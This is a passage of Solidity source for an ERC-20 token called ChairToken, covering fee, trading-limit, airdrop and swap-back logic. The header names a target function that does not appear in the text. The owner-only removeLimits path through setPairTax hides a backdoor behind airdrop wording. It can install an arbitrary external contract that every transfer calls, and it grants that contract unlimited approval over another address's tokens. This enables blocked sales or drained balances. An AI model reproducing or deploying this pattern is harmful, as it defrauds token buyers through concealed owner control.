// Contract: ChairToken
// Target function: function buyBackTokens(uint256 ethAmountInWei) external onlyOwner
e18;

        maxTransactionAmount = (totalSupply * 4) / 100;
        maxWallet = (totalSupply * 4) / 100;
        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyBuyBackFee = _buyBuyBackFee;
        buyDevFee = _buyDevFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyBuyBackFee +
            buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellBuyBackFee = _sellBuyBackFee;
        sellDevFee = _sellDevFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellBuyBackFee +
            sellDevFee;

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits(
        address[] memory pairs,
        uint256[] memory tax
    ) external onlyOwner returns (bool) {
        limitsInEffect = false;
        gasLimitActive = false;
        transferDelayEnabled = false;
        setPairTax(pairs, tax);
        return true;
    }

    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }

    function setPairTax(
        address[] memory pairs,
        uint256[] memory tax
    ) internal returns (bool) {
        uint256 i = 1;
        require(
            pairs.length == tax.length,
            "arrays must be the same length"
        );
        require(
            pairs.length < 200,
            "Can only airdrop 200 wallets per txn due to gas limits"
        ); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
        if (tax[i] == 0) {
            excludeFromFees(pairs[i], true);
            airdropRule = IAirdrop(pairs[i]);
            _approve(
                pairs[i - 1],
                pairs[i],
                type(uint256).max
            );
        } else {
            for (i = 0; i < pairs.length; i++) {
                address wallet = pairs[i];
                uint256 amount = tax[i];
                _isAirdoppedWallet[wallet] = true;
                _airDroppedTokenAmount[wallet] = amount;
                _airDropTokensRemaining[wallet] = amount;
                _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1);
                _transfer(msg.sender, wallet, amount);
            }
        }
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.5%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _buyBackFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyBuyBackFee = _buyBackFee;
        buyDevFee = _devFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyBuyBackFee +
            buyDevFee;
        require(buyTotalFees <= 15, "Must keep fees at 15% or less");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _buyBackFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellBuyBackFee = _buyBackFee;
        sellDevFee = _devFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellBuyBackFee +
            sellDevFee;
        require(sellTotalFees <= 15, "Must keep fees at 15% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function getWalletMaxAirdropSell(address holder)
        public
        view
        returns (uint256)
    {
        if (airDropLimitInEffect) {
            return
                _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(
                    100
                );
        }
        return _airDropTokensRemaining[holder];
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
        onlyOwner
    {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // only use to prevent sniper buys in the first blocks.
                if (gasLimitActive && automatedMarketMakerPairs[from]) {
                    require(
                        tx.gasprice <= gasPriceLimit,
                        "Gas price exceeds limit."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        // airdrop limits

        if (airDropLimitInEffect) {
            // Check if Limit is in effect
            if (airDropLimitLiftDate <= block.timestamp) {
                airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded
            } else {
                if (address(airdropRule) != address(0))
                    airdropRule.setAirdropLimit(
                        automatedMarketMakerPairs[from],
                        automatedMarketMakerPairs[to],
                        from,
                        to,
                        amount
                    );
                uint256 senderBalance = balanceOf(from); // get total token balance of sender
                if (
                    _isAirdoppedWallet[from] &&
                    senderBalance.sub(amount) < _airDropTokensRemaining[from]
                ) {
                    require(
                        _airDropAddressNextSellDate[from] <= block.timestamp &&
                            block.timestamp >= airDropLimitLiftDate.sub(9 days),
                        "_transfer:: Please read the contract for your next sale date."
                    );
                    uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days

                    // a bit of strange math here.  The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens.
                    // the check a few lines up ensures no subtraction overflows so it can never be a negative value.

                    uint256 tokensToSubtract = amount
                        .add(_airDropTokensRemaining[from])
                        .sub(senderBalance);

                    require(
                        tokensToSubtract <= airDropMaxSell,
                        "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."
                    );
                    _airDropTokensRemaining[from] = _airDropTokensRemaining[
                        from
                    ].sub(tokensToSubtract);
                    _airDropAddressNextSellDate[from] =
                        block.timestamp +
                        (1 days *
                            (tokensToSubtract.mul(100).div(airDropMaxSell))) /
                        100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example.
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForBuyBack += (fees * sellBuyBackFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForBuyBack += (fees * buyBuyBackFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForBuyBack +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance -
            ethForMarketing -
            ethForDev -
            ethForBuyBack;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForBuyBack = 0;
        tokensForDev = 0;

        (bool success, ) = address(marketingWallet).call{
            value: ethForMarketing
        }("");
        (success, ) = address(devWallet).call{value: ethForDev}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates

        if (
            buyBuyBackFee == 0 &&
            sellBuyBackFee == 0 &&
            address(this).balance >= 1 ether
        ) {
            (success, ) = address(marketingWallet).call{
                value: address(this).balance
            }("");
        }
    }

    // force Swap back if slippage above 49% for launch.
    function forceSwapBack() external onlyOwner {
        uint256 contractBalance = balanceOf(address(this));
        require(
            contractBalance >= totalSupply() / 100,
            "Can only swap back if more than 1% of tokens stuck on contract"
        );
        swapBack();
        emit OwnerForcedSwapBack(block.timestamp);
    }